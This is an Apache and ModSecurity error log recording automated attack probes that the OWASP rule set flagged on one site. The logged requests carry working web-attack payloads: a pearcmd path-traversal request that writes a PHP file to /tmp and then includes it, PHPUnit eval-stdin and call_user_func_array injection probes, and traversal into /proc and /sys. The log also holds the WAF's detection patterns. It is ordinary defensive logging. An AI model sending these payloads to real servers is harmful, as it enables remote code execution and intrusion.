[Fri Jul 17 10:23:27.196382 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/cache/"] [unique_id "alm1Rx3_6y13_d3Np4_4ugAAAAE"]
[Fri Jul 17 10:23:27.197163 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/cache/"] [unique_id "alm1Rx3_6y13_d3Np4_4ugAAAAE"]
[Fri Jul 17 10:23:27.197764 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/cache/"] [unique_id "alm1Rx3_6y13_d3Np4_4ugAAAAE"]
[Fri Jul 17 10:23:27.326281 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:28.568148 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:28.871216 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:29.072539 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:29.222532 2026] [security2:error] [pid 2075690:tid 2075690] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/perl-Error/ChangeLog"] [unique_id "alm1SRyL4_TKNgi7OLI3PwAAAB4"]
[Fri Jul 17 10:23:29.222578 2026] [security2:error] [pid 2075690:tid 2075690] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/perl-Error/ChangeLog"] [unique_id "alm1SRyL4_TKNgi7OLI3PwAAAB4"]
[Fri Jul 17 10:23:29.279464 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:29.487504 2026] [core:error] [pid 2075904:tid 2075904] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS2/flags
[Fri Jul 17 10:23:29.578710 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1SWFDQ6dUmh6WfoaERAAAAAc"]
[Fri Jul 17 10:23:29.578812 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1SWFDQ6dUmh6WfoaERAAAAAc"]
[Fri Jul 17 10:23:29.578858 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1SWFDQ6dUmh6WfoaERAAAAAc"]
[Fri Jul 17 10:23:29.579306 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1SWFDQ6dUmh6WfoaERAAAAAc"]
[Fri Jul 17 10:23:29.579987 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1SWFDQ6dUmh6WfoaERAAAAAc"]
[Fri Jul 17 10:23:29.611721 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:29.728770 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:29.817478 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/cpu2/crash_notes
[Fri Jul 17 10:23:29.917785 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:30.015253 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1SlwhXK3LBDRkoRBT_gAAABY"]
[Fri Jul 17 10:23:30.015730 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1SlwhXK3LBDRkoRBT_gAAABY"]
[Fri Jul 17 10:23:30.016342 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1SlwhXK3LBDRkoRBT_gAAABY"]
[Fri Jul 17 10:23:30.016927 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1SlwhXK3LBDRkoRBT_gAAABY"]
[Fri Jul 17 10:23:30.125030 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:30.224452 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:30.326427 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:30.697815 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/public/index.php"] [unique_id "alm1SmFjrl6DCT-Pyn8UBgAAAAo"]
[Fri Jul 17 10:23:30.698320 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/public/index.php"] [unique_id "alm1SmFjrl6DCT-Pyn8UBgAAAAo"]
[Fri Jul 17 10:23:30.698981 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/public/index.php"] [unique_id "alm1SmFjrl6DCT-Pyn8UBgAAAAo"]
[Fri Jul 17 10:23:30.699795 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1SmFjrl6DCT-Pyn8UBgAAAAo"]
[Fri Jul 17 10:23:31.061297 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:33134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:31.363994 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364304 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364384 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../../../../../../../usr/local/lib/php/pearcmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364445 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364490 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364538 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create/&/<?echo(md5(hi)) ?>/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364594 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../../../../../usr/local/lib/php/pearcmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364650 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../../../../../usr/local/lib/php/pearcmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.364988 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?e found within ARGS_NAMES:/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php: /<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.366013 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 43)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.367309 2026] [security2:error] [pid 2075691:tid 2075691] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 43 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 43, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1S5-MjlCH45ePojRJmAAAABE"]
[Fri Jul 17 10:23:31.659299 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:51234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:31.942712 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:31.944138 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.944326 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.944366 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
